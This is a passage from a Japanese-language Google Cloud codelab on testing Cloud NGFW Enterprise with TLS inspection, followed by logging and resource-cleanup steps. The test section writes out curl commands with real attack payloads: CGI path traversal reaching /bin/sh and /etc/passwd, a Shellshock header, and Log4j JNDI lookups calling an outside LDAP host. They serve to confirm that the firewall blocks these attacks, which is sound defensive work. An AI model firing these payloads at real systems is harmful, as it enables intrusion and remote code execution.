Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
悪意のあるテスト トラフィックをサーバーに送信します。
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
予想される出力:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
以下の出力で、レスポンスが受信されず、サンプル攻撃が E/W でブロックされていることを確認できます。
13. ロギング
Logging に移動 >ログ エクスプローラで、以下のフィルタを入力してログをクエリします。[PROJECT_ID] は実際の project_id に置き換えてください。
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Cloud NGFW Enterprise のログエントリは次のように表示されます。
ログエントリを開き、クライアント VM からサーバーに送信された攻撃が特定され、ブロックされたことを確認します(以下のスクリーンショットの Apache Log4j のリモートコード実行の脆弱性)。
TLS インスペクションを備えた Cloud NGFW Enterprise を正常にデプロイし、悪意のあるリクエストをブロックできました。
次のセクションに進んでクリーンアップ手順に進みます。
14. クリーンアップ手順
基本設定のクリーンアップ
インスタンスを削除します。
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
tagAdmin ロールと tagUsers ロールが変更された場合は、次の手順を行います。
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
タグキーとタグ値を削除します。
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud ファイアウォールのネットワーク ポリシーと関連付けを削除します。
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router と Cloud NAT を削除します。
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
予約済みの IP アドレスを削除します。
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG、関連付け、TLS クリーンアップ
セキュリティ プロファイル グループと脅威プロファイルを次の順序で削除します。
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Cloud ファイアウォール エンドポイントの関連付けを削除します。
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Cloud Firewall エンドポイントを削除します。これには 20 分ほどかかることがあります。
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
必要に応じて、次のコマンドを実行して、Cloud NGFW エンドポイントが削除されたことを確認します。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
エンドポイントの状態は次のようになります。
STATE: DELETING
完了すると、エンドポイントは一覧表示されなくなります。
TLS ポリシーと信頼構成を次の順序で削除します。
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
ルート CA と CA プールを無効にして削除します。
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
サブネットと VPC のクリーンアップ
最後に、サブネットと VPC ネットワークを削除します。
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. 完了
これで、Cloud NGFW Enterprise for East-West と Northbound TLS Inspection Codelab は終了です。